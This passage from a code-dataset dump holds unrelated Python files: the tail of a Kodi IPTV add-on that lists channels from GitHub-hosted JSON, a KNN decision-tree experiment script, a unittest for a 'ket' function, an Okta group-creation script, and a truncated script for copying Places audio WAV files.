.*?
\".*?</div)
'\n rResult = parse(plurl.text, pattern)\n return rResult[1]\n\ndef find_between(s,first,last):\n try:\n start = s.index( first ) + len( first )\n end = s.index( last, start )\n return s[start:end]\n except ValueError:\n return \"\"\n\ndef parse(sHtmlContent, sPattern, iMinFoundValue = 1, ignoreCase = False):\n if ignoreCase:\n aMatches = re.compile(sPattern, re.DOTALL|re.I).findall(sHtmlContent)\n else:\n aMatches = re.compile(sPattern, re.DOTALL).findall(sHtmlContent)\n if (len(aMatches) >= iMinFoundValue): \n return True, aMatches\n return False, aMatches\n\ndef addJson(url):\n headers = { 'User-Agent': 'XBMC', 'ContentType': 'application/x-www-form-urlencoded' }\n post = {}\n data = urllib.urlencode(post)\n reqUrl = urllib2.Request(url, data, headers)\n red_json = urllib2.urlopen(reqUrl)\n obj_data = json.load(red_json)\n for s in range(len(obj_data)):\n url = obj_data[s]['URL']\n thumb=obj_data[s]['LOGO']\n nazwa=obj_data[s]['NAZWA']\n jakosc=obj_data[s]['JAKOSC']\n if jakosc == \"ld\" or jakosc == \"lq\":\n nazwa=nazwa+LD\n if jakosc == \"hd\":\n nazwa=nazwa+HD\n if jakosc == \"fhd\":\n nazwa=nazwa+FHD\n if jakosc == \"uhd\" or jakosc == \"4k\":\n nazwa=nazwa+UHD\n addLink(nazwa,url,tv+thumb)\n# li = xbmcgui.ListItem(nazwa, thumbnailImage=tv+thumb, iconImage=tv+thumb\n# xbmcplugin.addDirectoryItem(handle=int(sys.argv[1]), url=url, listitem=li)\n#####################################################################################################\n\n\n\n\n\n\n\n##################################################################################### BUDOWA MENU GŁOWNEGO\ndef main():\n\n if 'tvp' in mode: tvp()\n elif 'looknij' in mode: looknij()\n elif 'pol' in mode: pol()\n elif 'filmboxlive' in mode: filmboxlive()\n elif 'ger' in mode: ger()\n elif 'testy' in mode: testy()\n elif 'opcje' in mode: opcje()\n elif 'xxx' in mode: xxx()\n else:\n xbmc.executebuiltin('Container.SetViewMode('+WIDOK_SET+')') # Zmiana widoku wedłóg ustawień\n \n# addDir('MENU TESTOWE', 'plugin://plugin.pltv.premium/?testy', icon)\n addDir('[B][COLOR white]TV POLSKA[/COLOR][/B]', 'plugin://plugin.pltv.premium/?polska', images+'dir_tv.png')\n addDir('[B][COLOR white]TV NIEMIECKA[/COLOR][/B]', 'plugin://plugin.pltv.premium/?ger', images+'dir_int.png')\n # addDir('[B][COLOR gold][VIP] [/COLOR][COLOR red]FILMBOX POLSKA[/COLOR][/B]', 'plugin://plugin.pltv.premium/?filmboxlive', images+'dir_filmboxlive.png' )\n addDir('[B][COLOR white]TVP STREAM[/COLOR][/B]', 'plugin://plugin.pltv.premium/?tvp', images+'dir_tvpstream.png')\n# addDir('[B][COLOR white]LOOKNIJ.TV[/COLOR][/B]', 'plugin://plugin.pltv.premium/?looknij', images+'dir_looknijtv.png' )\n# if XXX_SET == 'true':\n# addDir('[B][COLOR pink]Erotyka[/COLOR] (18+)[/B]', 'plugin://plugin.pltv.premium/?xxx', images+'dir_xxx2.png')\n \n addDir('[B][COLOR darkgrey]Ustawienia[/COLOR][/B]', 'plugin://plugin.pltv.premium/?opcje', images+'settings.png')\n xbmcplugin.endOfDirectory(int(sys.argv[1]))\n sys.exit(0)\n\n############################################################################################\ndef opcje():\n addon.openSettings(sys.argv[1])\n sys.exit(0)\n##################################################################################################\ndef xxx():\n addJson(\"https://raw.githubusercontent.com/neopack1/kodi/master/json/xxx.json\")\n xbmc.executebuiltin('Container.SetViewMode(50)')\n xbmcplugin.endOfDirectory(int(sys.argv[1]))\n sys.exit(0)\n#####################################################################################################\ndef tvp():\n link = get_url()\n for i in link:\n xbmc.executebuiltin('Container.SetViewMode('+WIDOK_SET+')') # Zmiana widoku wedłóg ustawień\n url = 'plugin://plugin://plugin.pltv.premium//?runstream=' + i[0] + '***' + i[1] + '***' + i[2]\n addLink(i[1],url,i[2])\n xbmcplugin.endOfDirectory(int(sys.argv[1]))\n sys.exit(0)\n########################################################################################################\ndef looknij():\n WIDOK_SET = addon.getSetting('widok')\n xbmc.executebuiltin('Container.SetViewMode('+WIDOK_SET+')') # Zmiana widoku wedłóg ustawień\n addJson(\"https://raw.githubusercontent.com/neopack1/kodi/master/json/looknij.json\")\n xbmcplugin.endOfDirectory(int(sys.argv[1]))\n sys.exit(0)\n####################################################################################################\ndef filmboxlive():\n WIDOK_SET = addon.getSetting('widok')\n xbmc.executebuiltin('Container.SetViewMode('+WIDOK_SET+')') # Zmiana widoku wedłóg ustawień\n addJson(\"https://raw.githubusercontent.com/neopack1/kodi/master/json/filmboxlive.json\")\n xbmcplugin.endOfDirectory(int(sys.argv[1]))\n sys.exit(0)\n######################################################################################################\ndef pol():\n url=\"https://raw.githubusercontent.com/neopack1/kodi/master/premium/pol.json\"\n headers = { 'User-Agent': 'XBMC', 'ContentType': 'application/x-www-form-urlencoded' }\n post = {}\n data = urllib.urlencode(post)\n reqUrl = urllib2.Request(url, data, headers)\n red_json = urllib2.urlopen(reqUrl)\n obj_data = json.load(red_json)\n lp=0\n for s in range(len(obj_data)):\n url = obj_data[s]['URL']\n lp=lp+1\n pakiet=obj_data[s]['PAKIET']\n if pakiet==\"1\":\n dopisek=pakiet1\n if pakiet==\"2\":\n dopisek=pakiet2\n if user_pakiet == \"1\":\n url=loop_url\n #if pakiet==\"3\": zdejmij znaczniki komentaża gdy bedą używane 3 pakiety\n # dopisek=pakiet3 zdejmij znaczniki komentaża gdy bedą używane 3 pakiety\n # if user_pakiet == \"1\" or user_pakiet == \"2\": zdejmij znaczniki komentaża gdy bedą używane 3 pakiety\n # url=loop_url zdejmij znaczniki komentaża gdy bedą używane 3 pakiety\n jakosc=obj_data[s]['JAKOSC']\n if jakosc == \"ld\" or jakosc == \"lq\":\n jakosc=LD\n if jakosc == \"hd\":\n jakosc=HD\n if jakosc == \"fhd\":\n jakosc=FHD\n if jakosc == \"uhd\" or jakosc == \"4k\":\n jakosc=UHD\n if jakosc == \"sd\":\n jakosc=SD\n \n thumb=obj_data[s]['LOGO']\n nazwa=\"[B]\"+obj_data[s]['NAZWA']+\"[/B]\"\n nazwa_koncowa=str(lp)+\" \"+nazwa+jakosc+dopisek\n \n addLink(nazwa_koncowa,url,tv+thumb)\n# li = xbmcgui.ListItem(nazwa, thumbnailImage=tv+thumb, iconImage=tv+thumb\n# xbmcplugin.addDirectoryItem(handle=int(sys.argv[1]), url=url, listitem=li)\n xbmcplugin.endOfDirectory(int(sys.argv[1]))\n sys.exit(0)\n########################################################################################################\ndef ger():\n url=\"https://raw.githubusercontent.com/neopack1/kodi/master/premium/ger.json\"\n headers = { 'User-Agent': 'XBMC', 'ContentType': 'application/x-www-form-urlencoded' }\n post = {}\n data = urllib.urlencode(post)\n reqUrl = urllib2.Request(url, data, headers)\n red_json = urllib2.urlopen(reqUrl)\n obj_data = json.load(red_json)\n lp=0\n for s in range(len(obj_data)):\n url = obj_data[s]['URL']\n lp=lp+1\n pakiet=obj_data[s]['PAKIET']\n if pakiet==\"1\":\n dopisek=pakiet1\n if pakiet==\"2\":\n dopisek=pakiet2\n if user_pakiet == \"1\":\n url=loop_url\n #if pakiet==\"3\": zdejmij znaczniki komentaża gdy bedą używane 3 pakiety\n # dopisek=pakiet3 zdejmij znaczniki komentaża gdy bedą używane 3 pakiety\n # if user_pakiet == \"1\" or user_pakiet == \"2\": zdejmij znaczniki komentaża gdy bedą używane 3 pakiety\n # url=loop_url zdejmij znaczniki komentaża gdy bedą używane 3 pakiety\n jakosc=obj_data[s]['JAKOSC']\n if jakosc == \"ld\" or jakosc == \"lq\":\n jakosc=LD\n if jakosc == \"hd\":\n jakosc=HD\n if jakosc == \"fhd\":\n jakosc=FHD\n if jakosc == \"uhd\" or jakosc == \"4k\":\n jakosc=UHD\n if jakosc == \"sd\":\n jakosc=SD\n \n thumb=obj_data[s]['LOGO']\n nazwa=\"[B]\"+obj_data[s]['NAZWA']+\"[/B]\"\n nazwa_koncowa=str(lp)+\" \"+nazwa+jakosc+dopisek\n \n addLink(nazwa_koncowa,url,tv+thumb)\n# li = xbmcgui.ListItem(nazwa, thumbnailImage=tv+thumb, iconImage=tv+thumb\n# xbmcplugin.addDirectoryItem(handle=int(sys.argv[1]), url=url, listitem=li)\n xbmcplugin.endOfDirectory(int(sys.argv[1]))\n sys.exit(0)\n\n################################################################################# MENU TESTOWE \ndef testy():\n\n\n \n\n addLink(\"aaaa vod\",defaultImage, defaultImage) \n addLink('????','rtmp://extondemand.livestream.com/ondemand playpath=trans/dv01/mogulus-user-files/chtivinet/2008/12/03/2d08d46c-2ebd-4074-b555-0adad395a2dc swfUrl=http://cdn.livestream.com/chromelessPlayer/v21/playerapi.swf?iconColor=0xCCCCCC&mute=false&autoPlay=true&iconColorOver=0xE7E7E7&time=&color=0x181C27&jsEnabled=false pageUrl=http://cdn.livestream.com/embed/tiviNET?layout=4&color=0x181C27&mute=false&autoPlay=true&iconColorOver=0xE7E7E7&iconColor=0xCCCCCC',defaultImage)\n addLink('????','http://video.go.toya.net.pl:8080/live/saa5Ho7sRFsC0jkB-N3muw/1452620829/01_toyahd_hls/index.m3u8',defaultImage)\n \n \n \n xbmcplugin.endOfDirectory(int(sys.argv[1]))\n sys.exit(0)\n\n\n############################################################################################\n\nmain()","sub_path":"plugin.pltv.premium/default.py","file_name":"default.py","file_ext":"py","file_size_in_byte":17428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"274725117","text":"import numpy as np\nimport pandas as pd\nfrom math import sqrt\nfrom matplotlib import pyplot as plt\nimport random\nimport copy\neps = np.finfo(float).eps\n\n\n\ndef calc_mistake_ei(data, attribute_index, value_of_attr, K, cache, prev_values):\n\n transposed = copy.deepcopy(data.transpose())\n copy_data = copy.deepcopy(data)\n temp_data = np.array(list(filter(lambda row: row[attribute_index] == value_of_attr, transposed)))\n copy_data[attribute_index] = prev_values\n\n for temp_row in temp_data:\n prev_val = np.array(list(filter(lambda row: row[0] == temp_row[0], copy_data.transpose())))[0][attribute_index]\n temp_row[attribute_index] = prev_val\n\n return get_eval_mistake(temp_data, K, cache)\n\n\ndef find_mistake_of_attribute_with_threshold(data, attribute_index, poss_limit, K, cache):\n target_variables = np.unique(data[-1]) # This gives all 1 and 0\n # save attribute values for later\n prev_values = data[attribute_index].copy()\n\n for sample_index in range(0, len(data[attribute_index])):\n data[attribute_index][sample_index] = 0 if poss_limit > data[attribute_index][sample_index] else 1\n # This gives different binary values of chosen attribute after classification\n variables = np.unique(data[attribute_index][1:])\n\n sum_entr = 0\n\n # for every possible value of this attr,\n for idx, value_of_attr in enumerate(variables):\n denum = np.count_nonzero(data[attribute_index] == value_of_attr)\n\n mistake_Ei = calc_mistake_ei(data, attribute_index, value_of_attr, K, cache, prev_values)\n #TODO check sum_entr\n sum_entr += (denum / len(data[0])) * (1 - mistake_Ei)\n\n data[attribute_index] = prev_values\n return sum_entr\n\n\ndef calc_weigt_mistakes_for_all_thresholds_of_attr(poss_limit_values, data, column_idx, K, cache):\n weighted_mistakes =[]\n\n #for every possible threshold\n for lim_idx, poss_limit in enumerate(poss_limit_values):\n # calc weighted mistakes\n # current_mistake = get_eval_mistake(data.transpose(), K)\n #print(\"calc_weigt_mistakes_for_all_thresholds_of_attr \", column_idx, \" threshold: \", poss_limit)\n children_mistake_sum = find_mistake_of_attribute_with_threshold(data, column_idx, poss_limit, K, cache)\n weighted_mistake = children_mistake_sum\n weighted_mistakes.append(weighted_mistake)\n return weighted_mistakes\n\ndef calc_weigh_mistakes(data, K, cache):\n transpose_data = data.transpose()\n final_attr_thresholds_mistakes = []\n\n # for every column of data (for every attr)\n # calc best threshold and IG for this threshold\n for column_idx in range(1, len(transpose_data) - 1):\n #print(\"checking for attr: \", column_idx)\n\n #rand = random.randrange(100)\n #poss_limit_values = np.percentile(transpose_data[column_idx], [rand])\n #poss_limit_values = np.percentile(transpose_data[column_idx], [12.5, 25, 37.5, 50, 62.5, 75, 87.5])\n poss_limit_values = np.percentile(transpose_data[column_idx], [25, 50, 75])\n res_vec = calc_weigt_mistakes_for_all_thresholds_of_attr(poss_limit_values, transpose_data, column_idx, K, cache)\n\n # chose max IG and the limit val according to max\n max_ig_indx, max_ig = res_vec.index(max(res_vec)), max(res_vec) # get also index\n chosen_limit_val = poss_limit_values[ max_ig_indx]\n final_attr_thresholds_mistakes += [(column_idx, chosen_limit_val, max_ig)]\n\n a = sorted(final_attr_thresholds_mistakes, key=lambda item: item[-1])\n # sort the data by this attr\n return final_attr_thresholds_mistakes\n\n\n#find the next attr to split the tree with\ndef find_winner(data, K, cache):\n\n #attr_IGs = calc_all_IG(data)\n attr_weighted_mistakes = calc_weigh_mistakes(data, K, cache)\n sorted_attr_weighted_mistakes = sorted(attr_weighted_mistakes, key=lambda item: item[-1]) # decreasing IG values\n\n if len(sorted_attr_weighted_mistakes) == 1:\n return sorted_attr_weighted_mistakes[0][0], sorted_attr_weighted_mistakes[0][1]\n\n best_result = sorted_attr_weighted_mistakes[-1][2]\n print(\"highest accuracy: \", best_result )\n poss_winners = np.array(list(filter(lambda row: row[2] == best_result, sorted_attr_weighted_mistakes)))\n winner = random.choice(poss_winners)\n limit_val = winner[1]\n attr_idx_to_return = winner[0]\n\n return int(attr_idx_to_return), limit_val\n\n\ndef classify_vals_transposed(data, attr_index, limit_val):\n lower = []\n higher = []\n # for every row\n for index, row in enumerate(data):\n if row[attr_index] < limit_val:\n lower.append(row)\n else:\n higher.append(row)\n return np.array(lower), np.array(higher)\n\ndef check_class(neighbors):\n if len(neighbors) == 0:\n print(\"WHY AM I HERE\")\n return 0\n output_values = [neighbor[-1] for neighbor in neighbors]\n prediction = max(set(output_values), key=output_values.count)\n return prediction\n\ndef get_eval_mistake(branch_data, K, cache):\n\n # no mistake if only one example in the group\n if len(branch_data) == 1:\n #print(\"only 1 exmpl here\")\n return 0\n\n wrong_classes = 0\n for row in branch_data:\n neighbors = get_neighbors(branch_data, row, K, cache)\n class_by_knn = check_class(neighbors)\n wrong_classes += 0 if class_by_knn == row[-1] else 1\n\n return wrong_classes / len(branch_data)\n\n\n# Find the min and max values for each column\ndef dataset_minmax(dataset):\n minmax = list()\n for i in range(len(dataset[0])):\n col_values = [row[i] for row in dataset]\n value_min = min(col_values)\n value_max = max(col_values)\n minmax.append([value_min, value_max])\n # returns a list of min and max vals for each attr\n return minmax\n\n# Rescale dataset columns to the range 0-1\ndef normalize_dataset(dataset, minmax):\n norm_data = np.zeros(shape=dataset.shape)\n norm_data[:,0] = dataset[:,0]\n for idx, row in enumerate(dataset):\n for i in range(1,len(row)):\n high = minmax[i][1]\n low = minmax[i][0]\n norm_data[idx][i] = (row[i] - low) / (high - low)\n return norm_data\n\n# Rescale row to the range 0-1\ndef normalize_row(row, minmax):\n norm_row = np.zeros(len(row))\n for i in range(len(row)):\n high = minmax[i][1]\n low = minmax[i][0]\n norm_row[i] = (row[i] - low) / (high - low)\n return norm_row\n\ndef get_neighbors(data, test_row, num_neighbors, cache):\n dists = list()\n\n for train_row in data:\n dist = euclidean_distance(test_row, train_row, cache)\n dists.append((train_row, dist))\n\n dists.sort(key=lambda tup: tup[1])\n neighbors = list()\n\n num_neighbors = data.shape[0] if num_neighbors >= data.shape[0] else num_neighbors\n\n #cut myself off if its me\n if dists[0][-1] == 0:\n num_neighbors = data.shape[0] - 1 if num_neighbors >= data.shape[0] else num_neighbors\n dists = dists[1:]\n\n for i in range(0, num_neighbors):\n neighbors.append(dists[i][0])\n\n return np.array(neighbors)\n\n\n\n# calculate the Euclidean distance between two vectors\ndef euclidean_distance(row1, row2, distances):\n distance = 0.0\n key = str(int(row1[0])) + \" \" + str(int(row2[0]))\n\n if key in distances.keys():\n return distances[key]\n for i in range(1, len(row1)-1):\n distance += (float(row1[i]) - float(row2[i]))**2\n\n distance = sqrt(distance)\n\n key2 = str(int(row2[0])) + \" \" + str(int(row1[0]))\n distances[key] = distance\n distances[key2] = distance\n return distance\n\ndef buildTree(data, K, M, epsilon, cache):\n\n #Create a list of results for the training data example classes\n classList = [example[-1] for example in data]\n\n # If all training data belongs to a category, return to the category\n if classList.count(classList[0]) == len(classList): return classList[0]\n\n # Get attribute with maximum accuracy gain\n attr_indx, limit_val = find_winner(data, K, cache)\n print(\"winner is: \", attr_indx)\n\n lower, higher = classify_vals_transposed(data, int(attr_indx), limit_val)\n\n myTree = {attr_indx: {}}\n\n # if len lower or len higher == 0\n # there is no split make empty leaf\n if len(lower) == 0:\n myTree[attr_indx][0] = limit_val, None\n #print(\"lower: \", attr_indx, \" empty leaf \")\n else:\n\n class_vals_l, counts_l = np.unique(lower[:,-1], return_counts=True)\n\n mistake = get_eval_mistake(lower, K, cache)\n # if all lower are same class - its a leaf, save all lower examples in the leaf\n if len(class_vals_l) == 1 or mistake <= epsilon or len(lower) <= M*K:\n myTree[attr_indx][0] = limit_val, lower\n print(\"lower: \", attr_indx, \" \", len(lower), \"threshold: \", limit_val, \"mistake: \", mistake)\n\n # keep building the tree\n else:\n myTree[attr_indx][0] = limit_val, buildTree(lower, K, M, epsilon, cache)\n\n if len(higher) == 0:\n myTree[attr_indx][1] = limit_val, None\n #print(\"higher: \", attr_indx, \" empty leaf \")\n else:\n class_vals_h, counts_h = np.unique(higher[:, -1], return_counts=True)\n\n # if all higher are same class - its a leaf, save all higher examples in the leaf\n mistake = get_eval_mistake(higher, K, cache)\n if len(class_vals_h) == 1 or mistake <= epsilon or len(higher) <= M * K:\n myTree[attr_indx][1] = limit_val, higher\n print(\"higher: \", attr_indx, \" \", len(higher), \"threshold: \", limit_val, \"mistake: \", mistake)\n\n # keep building the tree\n else:\n myTree[attr_indx][1] = limit_val, buildTree(higher, K, M, epsilon, cache)\n\n return myTree\n\n\ndef is_leaf(tree):\n return isinstance(tree[1], np.ndarray)\n\ndef find_leaf(tree, root_key, query, K, new_cache):\n\n lower = tree[root_key][0]\n\n if is_leaf(lower):\n neighbors = get_neighbors(lower[1], query, K, new_cache)\n class_by_knn = check_class(neighbors)\n return class_by_knn\n\n threshold = lower[0]\n if query[root_key] < threshold:\n lower_key = list(lower[1].keys())[0]\n return find_leaf(lower[1], lower_key, query, K, new_cache)\n else:\n higher = tree[root_key][1]\n if is_leaf(higher):\n neighbors = get_neighbors(higher[1], query, K, new_cache)\n class_by_knn = check_class(neighbors)\n return class_by_knn\n\n higher_key = list(higher[1].keys())[0]\n return find_leaf( higher[1], higher_key, query, K, new_cache)\n\n\ndef predict(query, tree, K, new_cache):\n\n return find_leaf(tree, list(tree.keys())[0], query, K, new_cache)\n\n\ndef get_prediction( tree, test_data, K ):\n\n new_cache = {}\n prediction = []\n\n for idx, row in enumerate(test_data):\n predicted = predict(row, tree, K, new_cache)\n prediction += [predicted]\n\n return prediction\n\n\ndef calc_accuracy( tree, test_data, K):\n correct_pred_sum = 0\n\n predictions = get_prediction( tree, test_data, K )\n # TODO check if predictions and test data are of the same size\n\n for idx, row in enumerate(test_data):\n correct_pred_sum += 1 if row[-1] == predictions[idx] else 0\n\n accuracy = correct_pred_sum / len(test_data)\n return accuracy\n\n\ndef KNN_build_and_test( train, test, K, M, epsilon, cache):\n train = train.to_numpy()\n test = test.to_numpy()\n tree = buildTree(train, K, M, epsilon, cache)\n return calc_accuracy(tree, test, K)\n\n\ndef plot_accuracies(results, labels ):\n labels = [str(label) for label in labels]\n first_run = results[0]\n second_run = results[1]\n third_run = results[2]\n\n x = np.arange(len(labels)) # the label locations\n width = 0.35 # the width of the bars\n\n fig, ax = plt.subplots()\n rects1 = ax.bar(x - width/3, first_run, width/3, label='1st run')\n rects2 = ax.bar(x , second_run, width/3, label='2nd run')\n rects3 = ax.bar(x + width/3, third_run, width/3, label='3rd run')\n\n # Add some text for labels, title and custom x-axis tick labels, etc.\n ax.set_ylabel('Accuracies')\n ax.set_title('Accuracies by M values')\n ax.set_xlabel('M values')\n\n ax.set_xticks(x)\n ax.set_xticklabels(labels)\n ax.legend()\n\n def autolabel(rects):\n \"\"\"Attach a text label above each bar in *rects*, displaying its height.\"\"\"\n for rect in rects:\n height = rect.get_height()\n ax.annotate('{}'.format(height),\n xy=(rect.get_x() + rect.get_width() / 2, height),\n xytext=(0, 3), # 3 points vertical offset\n textcoords=\"offset points\",\n ha='center', va='bottom')\n\n\n autolabel(rects1)\n autolabel(rects2)\n autolabel(rects3)\n\n fig.tight_layout()\n\n plt.show()\n\n # fig = plt.figure()\n # columns = results.shape[1]\n # nrows, ncols = 5, 2\n #\n # x = [row[0] for row in results] # same as [row[0] for row in data], and doesn't change in loop, so only do it once.\n # for m in range(1, columns+1): # this loops from 1 through columns\n # y = [row[m] for row in results]\n # ax = fig.add_subplot(nrows, ncols, m, axisbg='w')\n # ax.plot(x, y, lw=1.3)\n #\n # plt.show()\n\n\ndef experimentsKs(train, test_df):\n Ks = [1, 3, 5, 7, 9]\n default_M = 2\n default_eps = 0.01\n accuracies = []\n cache = {}\n\n results_for_graph = []\n\n for i in range(3):\n for k in Ks:\n\n accuracy = KNN_build_and_test(train, test_df, k, default_M, default_eps, cache)\n accuracies.append(accuracy)\n print(k, ' K accuracy:', accuracy)\n\n\n results_for_graph += [accuracies]\n accuracies = []\n\n plot_accuracies(np.array(results_for_graph), Ks)\n\n\ndef experimentsMs(train, test_df):\n\n Ms = [1, 2, 3, 4, 5]\n default_K = 7\n default_eps = 0.01\n accuracies = []\n cache = {}\n\n results_for_graph = []\n\n for i in range(3):\n for m in Ms:\n\n accuracy= KNN_build_and_test(train, test_df, default_K, m, default_eps, cache)\n accuracies.append(accuracy)\n print(m, ' M accuracy:', accuracy)\n\n\n results_for_graph += [accuracies]\n accuracies = []\n\n plot_accuracies(np.array(results_for_graph), Ms)\n\n\ntrain = pd.read_csv('train_9.csv')\ntest_df = pd.read_csv('test_9.csv')\n\nexperimentsMs(train, test_df)\nexperimentsKs(train, test_df)\ntrain = pd.read_csv('train_12.csv')\ntest_df = pd.read_csv('test_12.csv')\n\nexperimentsMs(train, test_df)\nexperimentsKs(train, test_df)\n","sub_path":"param.py","file_name":"param.py","file_ext":"py","file_size_in_byte":14477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"426242424","text":"\"\"\"Tests for ket function.\"\"\"\nimport unittest\nimport numpy as np\n\nfrom toqito.base.ket import ket\n\n\nclass TestKet(unittest.TestCase):\n \"\"\"Unit test for ket.\"\"\"\n\n def test_ket_0(self):\n \"\"\"Test for `|0>`.\"\"\"\n expected_res = np.array([[1], [0]])\n res = ket(2, 0)\n\n bool_mat = np.isclose(res, expected_res)\n self.assertEqual(np.all(bool_mat), True)\n\n def test_ket_1(self):\n \"\"\"Test for `|1>`.\"\"\"\n expected_res = np.array([[0], [1]])\n res = ket(2, 1)\n\n bool_mat = np.isclose(res, expected_res)\n self.assertEqual(np.all(bool_mat), True)\n\n def test_ket_0000(self):\n \"\"\"Test for `|0000>`.\"\"\"\n expected_res = np.array([[1], [0], [0], [0]])\n res = ket(4, 0)\n\n bool_mat = np.isclose(res, expected_res)\n self.assertEqual(np.all(bool_mat), True)\n\n def test_invalid_dim(self):\n \"\"\"Tests for invalid dimension inputs.\"\"\"\n with self.assertRaises(ValueError):\n ket(4, 4)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"tests/test_ket.py","file_name":"test_ket.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"225535639","text":"from dotenv import load_dotenv\r\nimport requests\r\nimport os\r\n\r\nload_dotenv()\r\nurl = os.getenv('OKTA_ORG_URL')\r\ntoken = os.getenv('OKTA_API_TOKEN')\r\n\r\nheaders = {\r\n 'Authorization': f'SSWS {token}',\r\n 'Accept': 'application/json'\r\n}\r\n\r\nsession = requests.Session()\r\nsession.headers.update(headers)\r\n\r\nnames = ['Finance', 'Legal']\r\nfor name in names:\r\n group = {\r\n 'profile': {\r\n 'name': name,\r\n 'description': ''\r\n }\r\n }\r\n res = session.post(f'{url}/api/v1/groups', json=group)\r\n print(res.ok)\r\n","sub_path":"new_okta_groups.py","file_name":"new_okta_groups.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"137924605","text":"import numpy as np\nimport sys\nsys.path.append('../')\nimport load_data\nfrom shutil import copy2\nimport json\nimport subprocess\n\nval_conv, val_emb, val_rec, val_spk, val_spk_int, val_text, val_mfcc = load_data.dataset_places()\n\n## Constants\nFILE_PATH_PLACES_ROOT = '/home/mark/Downloads/placesaudio_distro_part_1/placesaudio_distro_part_1/'\nFILE_PATH_UTTIDS = FILE_PATH_PLACES_ROOT + 'lists/acl_2017_val_uttids'\nFILE_PATH_UTT2WAV = FILE_PATH_PLACES_ROOT + 'metadata/utt2wav'\nTARGET_FOLDER = '/home/mark/Downloads/places_validation/'\n\ndef labels_first_count():\n \"\"\"\n Label gender in the Flickr8K audio caption corpus, Male = 0, Female = 1.\n Note: this numpy array is only used for the assertion in check_acl_val_file(). Val_gender is created from a\n dictionary\n :return:\n \"\"\"\n return np.zeros((84,2))\n\ndef check_acl_val_file():\n \"\"\"\n Function which examines the lists/acl_2017_val_uttids file\n :return:\n \"\"\"\n full_lines = []\n keys = []\n with open(FILE_PATH_UTTIDS) as fp:\n lines = fp.readlines()\n for line in lines:\n key = line.split('-')[0]\n if key not in keys:\n full_lines.append(line.rstrip())\n keys.append(key)\n\n # Dictionary with structure: 'A1IFIK8J49WBER': 'A1IFIK8J49WBER-GSUN_E45F9E9AA12C1220B3510C539C6004FA'\n # Key is used to check the key with val_spk while the value is used to find a specific wav file\n keys_full_lines = dict(zip(keys, full_lines))\n\n # Amount of keys should be equal to counting label\n assert len(keys_full_lines.keys()) == labels_first_count().shape[0]\n\n wav_dict = {}\n with open(FILE_PATH_UTT2WAV) as fp:\n lines = fp.readlines()\n for line in lines:\n parts = line.split()\n if parts[0] in keys_full_lines.values():\n wav_dict[parts[0]] = parts[1]\n\n # Make sure that the amount of wav paths is equal to keys\n assert len(keys_full_lines.keys()) == len(wav_dict.keys())\n\n # Copy wav file for each speaker to a separate folder\n count_not_found = 0\n files_not_found = {}\n files_found = {}\n for key, value in wav_dict.items():\n # For some reason, some wav files aren't in the zip file\n try:\n copy2(FILE_PATH_PLACES_ROOT + value, TARGET_FOLDER + value.split('/')[-1])\n except FileNotFoundError as e:\n count_not_found += 1\n files_not_found[key] = value\n\n files_found[key.split('-')[0]] = value.split('/')[-1]\n\n # 34 wav files weren't found\n # print('Amount of files not found: {}'.format(count_not_found))\n\n fill_wav_manually(files_found, files_not_found)\n\ndef fill_wav_manually(files_found, files_not_found):\n \"\"\"\n For not found files, pick another wav file by hand (programmatically no success)\n :param files_found:\n :param files_not_found:\n :return:\n \"\"\"\n\n # A single dictionary in order to easily copy the files to the other folder\n manually_found = {}\n for key, value in files_not_found.items():\n manually_found[key.split('-')[0]] = ''\n\n len_before_assignment = len(manually_found.keys())\n\n manually_found['A15PYQVCGSES3G'] = 'wavs/28/utterance_346059.wav'\n manually_found['A1AEFJMOP7OZYS'] = 'wavs/64/utterance_62827.wav'\n manually_found['A1A9OMCBJQL15S'] = 'wavs/430/utterance_208307.wav'\n manually_found['A1C2T79XTDHE39'] = 'wavs/4/utterance_168895.wav'\n\n manually_found['A15SDWY3P1WQX6'] = 'wavs/36/utterance_41826.wav'\n manually_found['A1APC1HPGOLX2F'] = 'wavs/138/utterance_157534.wav'\n manually_found['A1DEJWBNA5OUX1'] = 'wavs/150/utterance_40840.wav'\n manually_found['A1JBLFP5IB5UF8'] = 'wavs/48/utterance_326238.wav'\n\n manually_found['A1J7X0XSDTJGGP'] = 'wavs/35/utterance_374031.wav'\n manually_found['A1GGWQQFBNCUEV'] = 'wavs/246/utterance_296199.wav'\n manually_found['A191H6ZEZ9I7M3'] = 'wavs/148/utterance_381212.wav'\n # Only found a single entry in utt2wav but the folder isn't available in /wavs\n manually_found['A1FZB94LK9HWBM'] = ''\n\n manually_found['A1EPEMSYY5Q6GF'] = 'wavs/443/utterance_233011.wav'\n manually_found['A1C5S8FZ0UGYZX'] = 'wavs/28/utterance_240707.wav'\n manually_found['A14WOX09KHZYI8'] = 'wavs/437/utterance_202569.wav'\n manually_found['A1IQL2UN4FAMF1'] = 'wavs/406/utterance_273962.wav'\n\n manually_found['A1J2SQGWOID8SZ'] = 'wavs/1/utterance_162028.wav'\n manually_found['A1CJM3ULFBWN1E'] = 'wavs/232/utterance_251723.wav'\n manually_found['A1HWI4N1RJGKYY'] = 'wavs/461/utterance_306142.wav'\n manually_found['A111MNQPYBOPD0'] = 'wavs/173/utterance_177556.wav'\n\n manually_found['A03015341AB6VCX61DKN7'] = 'wavs/52/utterance_282287.wav'\n manually_found['A17DY4MQFC4L26'] = 'wavs/103/utterance_45148.wav'\n manually_found['A1K8U4ERJCTIQ5'] = 'wavs/422/utterance_239162.wav'\n manually_found['A1E48YYO7XP92J'] = 'wavs/260/utterance_238678.wav'\n\n manually_found['A116P6269SII5Y'] = 'wavs/356/utterance_231366.wav'\n manually_found['A1CDWT7K9N097'] = 'wavs/150/utterance_238251.wav'\n manually_found['A1HGH370WWDHKN'] = 'wavs/321/utterance_198460.wav'\n manually_found['A11R8G0FYA2UVQ'] = 'wavs/284/utterance_229375.wav'\n\n manually_found['A1A6D2RDPGVX5F'] = 'wavs/272/utterance_173256.wav'\n manually_found['A17XJC8D0QB95H'] = 'wavs/253/utterance_217783.wav'\n manually_found['A1AHYAWHM0ML7H'] = 'wavs/117/utterance_143623.wav'\n manually_found['A174D7OUJ9GKZT'] = 